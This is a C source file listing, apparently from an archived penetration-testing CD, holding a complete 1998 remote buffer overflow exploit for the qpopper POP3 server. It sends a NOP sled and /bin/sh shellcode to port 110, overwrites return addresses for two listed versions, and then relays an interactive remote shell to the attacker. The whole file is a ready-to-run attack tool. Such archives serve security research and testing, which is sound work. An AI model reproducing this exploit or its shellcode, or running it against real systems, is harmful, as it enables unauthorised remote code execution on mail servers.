home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop3 / qpop.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  159 lines

  1. /* qpop buffer overflow exploit (pop_msg)
  2.  * Mon Jun 29 01:26:06 GMT 1998 - herp
  3.  *                                Herbert Rosmanith
  4.  *                                herp@wildsau.idv.uni-linz.ac.at
  5.  */
  6.  
  7. #include        <stdio.h>
  8. #include        <sys/time.h>
  9. #include        <sys/types.h>
  10. #include        <netinet/in.h>
  11. #include        <netdb.h>
  12. #include        <signal.h>
  13. #include        <unistd.h>
  14. #include        <errno.h>
  15.  
  16. long addrlist[]={
  17.   0xbfffeee4,             /*2.2*/
  18.   0xbfffec2c              /*2.41beta1*/
  19. };
  20.  
  21. char shellcode[] =
  22.   "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
  23.   "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
  24.   "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
  25.   "\xff\xff/bin/sh.........";
  26.  
  27. void die(char *s)
  28. {
  29.   if (errno) perror(s);
  30.   else fprintf(stderr,"%s\n",s);
  31.   exit(-1);
  32. }
  33.  
  34. void usage()
  35. {
  36.   printf("qpush [-index] <hostname>\n"
  37.          " -0 QPOP Version 2.2             (default)\n"
  38.          " -1 QPOP Version 2.41beta1\n");
  39.   exit(0);
  40. }
  41.  
  42. int resolv(char *host,long *ipaddr)
  43. {
  44.   if (isdigit(host[0]))
  45.     {
  46.       *ipaddr=inet_addr(host);
  47.       if (*ipaddr==-1) return -1;
  48.     }
  49.   else
  50.     {
  51.       struct hostent *hp;
  52.       if ((hp=gethostbyname(host))==NULL)
  53.         {
  54.           fprintf(stderr,"tc: %s: unknown host\n");
  55.           exit(-1);
  56.         }
  57.       *ipaddr=*(unsigned long *)hp->h_addr;
  58.     }
  59.   return 0;
  60. }
  61.  
  62. int connect_to(char *hostname,short port)
  63. {
  64.   struct sockaddr_in s_in;
  65.   int s;
  66.  
  67.   s=socket(PF_INET,SOCK_STREAM,0);
  68.   if (s==-1) die("socket");
  69.  
  70.   if (resolv(hostname,(long *)&s_in.sin_addr.s_addr)==-1)
  71.     die("unknown host");
  72.   s_in.sin_family=AF_INET;
  73.   s_in.sin_port=htons(port);
  74.  
  75.   if (connect(s,(struct sockaddr *)&s_in,sizeof(s_in))==-1)
  76.     die("connect");
  77.  
  78.   return s;
  79. }
  80.  
  81. void socket_read(int s,char *buf,int len)
  82. {
  83.   int i;
  84.   switch(i=read(s,buf,len))
  85.     {
  86.     case -1:
  87.       die("unexpected EOF");
  88.     case  0:
  89.       die("EOF");
  90.     default:
  91.       buf[i]=0;
  92.       //printf("%s",buf);
  93.       break;
  94.     }
  95. }
  96.  
  97. void terminal(int s)
  98. {
  99.   char buf[1024];
  100.   fd_set rfds;
  101.   fd_set fds;
  102.   int i;
  103.  
  104.   for (i=0;i<NSIG;i++) signal(i,SIG_IGN);
  105.   FD_ZERO(&fds);
  106.   FD_SET(0,&fds);
  107.   FD_SET(s,&fds);
  108.   for (;;)
  109.     {
  110.       memcpy(&rfds,&fds,sizeof(fds));
  111.       i=select(s+1,&rfds,NULL,NULL,NULL);
  112.       if (i==-1) die("select");
  113.       if (i==0) die("session closed");
  114.       if (FD_ISSET(s,&rfds))
  115.         {
  116.           if ((i=read(s,buf,sizeof(buf)))<1)
  117.             die("session closed");
  118.           write(1,buf,i);
  119.         }
  120.       if (FD_ISSET(0,&rfds))
  121.         {
  122.           if ((i=read(0,buf,sizeof(buf)))<1)
  123.             die("session closed");
  124.           write(s,buf,i);
  125.         }
  126.     }
  127. }
  128.  
  129. void main(int argc,char *argv[])
  130. {
  131.   char buf[1024+128];
  132.   int s,i,ix;
  133.  
  134.   if (argc>=2 && argv[1][0]=='-')
  135.     {
  136.       ix=atoi(&argv[1][1]);
  137.       argc--;
  138.       argv++;
  139.     }
  140.   else ix=0;
  141.  
  142.   if (argc!=2 || ix>sizeof(addrlist)/sizeof(long))
  143.     usage();
  144.  
  145.   s=connect_to(argv[1],110);      /* WKS POP3 */
  146.   socket_read(s,buf,sizeof(buf));
  147.   memset(buf,0x90,sizeof(buf));
  148.   for (i=981;i<981+10*4;i+=4)
  149.     memcpy(&buf[i],&addrlist[ix],4);
  150.   memcpy(&buf[941],shellcode,strlen(shellcode));
  151.   buf[sizeof(buf)-3]=0x0d;
  152.   buf[sizeof(buf)-2]=0x0a;
  153.   buf[sizeof(buf)-1]=0x00;
  154.   write(s,buf,sizeof(buf));
  155.   socket_read(s,buf,sizeof(buf));
  156.   terminal(s);
  157.  
  158. }
  159. /*                    www.hack.co.za              [2000]*/